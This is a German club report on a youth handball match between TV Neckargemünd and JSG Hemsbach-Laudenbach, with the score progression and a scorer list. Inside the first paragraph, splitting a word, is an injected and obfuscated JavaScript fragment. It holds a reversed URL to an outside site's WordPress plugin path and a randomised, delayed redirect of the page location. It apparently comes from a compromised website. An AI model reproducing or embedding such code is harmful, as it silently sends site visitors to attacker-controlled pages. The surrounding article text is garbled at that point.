Neckargemünd, 02.10.2016 – Die Spieler der A-Jugend des TV Neckargemünd traten motiviert und fast vollzählig zum Spiel an. Dennoch gingen die Hemsbacher schon in den ersten vier Minuten mit drei Toren in Führung. Alle Tore wurden durch den sehr schnellen und wurfstarken Marc Homes geworfen. Nach etwa vier Minuten gelang es dann Felix Schaum das erste Gegentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor zu erzielen. (TV Neckargemünd 26 : 28 (11 : 13) JSG Hemsbach-Laudenbach).
Leider weitete sich der Rückstand in den nächsten zehn Minuten weiter aus, so dass der Trainer Alexander Kammler seine Spieler nach 14 ½ Minuten und einem Spielstand von 3:8 in eine Auszeit holte. Die Unterweisungen fruchteten und es war gut erkennbar, dass das Spiel bis zur 20. Minute (7:9) von ebenbürtigen Gegnern gespielt wurde.
Dann gelang es Hemsbach bis zur 24. Minute erneut den Vorsprung auf 5 Tore auszuweiten (7:12).
Nach der Halbzeit dann ein temporär exzellentes Spiel der Neckargemünder, die durch eine deutlich kraftvollere und souveränere Spielweise erfreuten. Bis zur 40. Minute konnte fünf Mal Gleichstand erzielt werden und in der 41. (19:18) Und 43. Minute (20:19) gingen die Neckargemünder sogar zwei Mal in Führung.
Hätte man die ab der 44. Minute für etwa 10 Minuten auftretende Spielflaute der Neckargemünder, die schließlich in einem 21:28 mündeten, übersprungen, hätte man sich an dem, was ab der 55. Minute folgte, noch mehr erfreuen können. Ab der 55. Minute lieferten Felix Schaum, Nicolas Kammler, Timothy Göttert, Till Schwarz, Sebastian Mohr, Johannes Schöner und als Torwart Niklas Schieck nämlich bis zum Schlusspfiff noch ein phantastisches Spiel und holten auf immerhin 26:28 auf!
Das Spiel zeigte eindeutig, dass die Mannschaft durchaus über das Potential verfügt, um sich auf dem Level der A-Jugend-Mannschaften zu behaupten. Und höhere Positionierungen sind dann machbar, wenn die schwächeren Spielphasen entsprechend reduziert und schneller überwunden werden.
Es spielten:
Tobias Seitz, Johannes Schöner (1Tor), Emil Vetter (1T), Philipp Sautter (1T), Samuel Matthis, Timothy Göttert (2T), Hauke Ulrichs (2T), Nicolas Kammler (1T), Felix Schaum (8T), Jordi Winnikes (2T, davon 2 von 2 möglichen 7m-Toren), Niklas Schieck, Sebastian Mohr (6T, davon 1 von 1 möglichem 7m-Tor), Till Schwarz (2T). Trainer: Alexander Kammler.